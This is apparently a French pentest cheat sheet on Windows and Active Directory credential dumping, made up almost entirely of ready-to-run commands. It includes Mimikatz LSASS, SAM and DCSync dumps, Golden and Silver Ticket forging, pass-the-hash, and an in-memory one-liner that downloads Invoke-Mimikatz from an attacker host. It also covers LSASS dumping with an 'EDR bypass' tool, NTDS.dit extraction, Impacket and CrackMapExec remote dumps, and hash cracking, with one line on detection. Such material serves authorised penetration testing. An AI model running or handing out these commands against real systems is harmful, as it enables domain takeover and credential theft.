credentialsmimikatzsecretsdump
MDstable
Credential Dumping
Extraire des credentials depuis LSASS, SAM, NTDS.dit avec Mimikatz et Impacket
snippetadvanced 2025-05-13 3 min read
credentialsmimikatzsecretsdumpLSASSNTDSSAMpentestpost-exploitation
Mimikatz
powershell
Variables
{{TARGET_DOMAIN}}
{{DOMAIN_SID}}
{{KRBTGT_HASH}}
{{TARGET}}
{{MACHINE_HASH}}
{{NTLM_HASH}}
# Lancer (nécessite admin local / SYSTEM)mimikatz.exe# Élever les privilèges de debugprivilege::debug# Dump LSASS — credentials en clair + NTLM hashessekurlsa::logonpasswords# Dump uniquement les hashes NTLMsekurlsa::msv# Tickets Kerberos en mémoiresekurlsa::tickets /export# Dump SAM (hash des comptes locaux)lsadump::sam# Dump LSA secrets (mots de passe services, DPAPI, etc.)lsadump::secrets# DCSync — extraire les hashes du DC sans y toucher physiquementlsadump::dcsync /domain:{{TARGET_DOMAIN}} /all /csvlsadump::dcsync /domain:{{TARGET_DOMAIN}} /user:krbtgt # NTLM de krbtgtlsadump::dcsync /domain:{{TARGET_DOMAIN}} /user:Administrator# Golden Ticketkerberos::golden /user:Administrator /domain:{{TARGET_DOMAIN}} /sid:{{DOMAIN_SID}} /krbtgt:{{KRBTGT_HASH}} /ptt# Silver Ticketkerberos::golden /user:Administrator /domain:{{TARGET_DOMAIN}} /sid:{{DOMAIN_SID}} /target:{{TARGET}} /service:cifs /rc4:{{MACHINE_HASH}} /ptt# Pass-the-Hash avec Mimikatzsekurlsa::pth /user:Administrator /ntlm:{{NTLM_HASH}} /domain:{{TARGET_DOMAIN}}
One-liner depuis PowerShell (sans fichier sur disque)
powershell
Variables
{{LHOST}}
# Invoke-Mimikatz via IEXIEX (New-Object Net.WebClient).DownloadString('http://{{LHOST}}/Invoke-Mimikatz.ps1')Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'Invoke-Mimikatz -DumpCreds
Dump LSASS via procédés alternatifs
powershell
# Task Manager — GUI, si accès RDP# Clic droit sur lsass.exe → Create dump file# ProcDump (signé Microsoft)procdump.exe -accepteula -ma lsass.exe lsass.dmp# Comsvcs.dll (natif Windows)$lsassPid = (Get-Process lsass).Idrundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPid C:\lsass.dmp full# nanodump (EDR bypass)nanodump.exe --write C:\lsass.dmp# Analyse offline avec Mimikatzsekurlsa::minidump lsass.dmpsekurlsa::logonpasswords
Impacket — Depuis Linux
bash
Variables
{{TARGET_DOMAIN}}
{{USER}}
{{PASSWORD}}
{{TARGET_IP}}
{{NTLM_HASH}}
# secretsdump — dump à distance (admin requis)secretsdumppy {{TARGET_DOMAIN}}{{USER}}{{PASSWORD}}{{TARGET_IP}}secretsdumppy {{TARGET_DOMAIN}}{{USER}}{{TARGET_IP}} -hashes {{NTLM_HASH}}# DCSync complet depuis Linuxsecretsdumppy {{TARGET_DOMAIN}}{{USER}}{{PASSWORD}}{{TARGET_IP}} -just-dcsecretsdumppy {{TARGET_DOMAIN}}{{USER}}{{PASSWORD}}{{TARGET_IP}} -just-dc-ntlm# Dump SAM et LSA locaux depuis Linuxsecretsdumppy -sam SAM -system SYSTEM LOCALsecretsdumppy -ntds ntdsdit -system SYSTEM LOCAL
Dump NTDS.dit (base AD)
powershell
# Méthode VSS (Volume Shadow Copy)vssadmin create shadow /for=C:copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\ntds.ditcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\SYSTEMreg save HKLM\SYSTEM C:\SYSTEM # alternative# Ntdsutil (natif)ntdsutil "activate instance ntds" "ifm" "create full C:\ntds_dump" quit quit# Analyser offlinesecretsdump.py -ntds C:\ntds.dit -system C:\SYSTEM LOCAL
CrackMapExec — Dump à distance
bash
Variables
{{TARGET_IP}}
{{USER}}
{{PASSWORD}}
# SAM (admins locaux)crackmapexec smb {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}} --sam# LSA secretscrackmapexec smb {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}} --lsa# NTDS (DC seulement)crackmapexec smb {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}} --ntds# NTDS avec méthode VSScrackmapexec smb {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}} --ntds vss
Cracker les hashes
bash
# Hashcat — NTLM (mode 1000)hashcat -m 1000 hashestxt /usr/share/wordlists/rockyou.txthashcat -m 1000 hashestxt /usr/share/wordlists/rockyou.txt -r rules/best64.rule# Hashcat — NTLMv2 Net-NTLM (mode 5600)hashcat -m 5600 netntlmv2txt /usr/share/wordlists/rockyou.txt# John the Ripper — NTLMjohn --format=NT hashestxt --wordlist=/usr/share/wordlists/rockyou.txt# Crack Kerberoast TGS (mode 13100)hashcat -m 13100 kerberoast_hashestxt /usr/share/wordlists/rockyou.txt# Crack AS-REP (mode 18200)hashcat -m 18200 asrep_hashestxt /usr/share/wordlists/rockyou.txt
💡 Tip —
Le DCSync (nécessite DS-Replication-Get-Changes-All) est l'attaque la plus silencieuse — pas de connexion au DC, simulation d'un contrôleur de domaine secondaire. Surveiller les événements 4662 et 4928 sur le DC pour sa détection.
OPS·BRAIN v1.075 notes · Securitylocal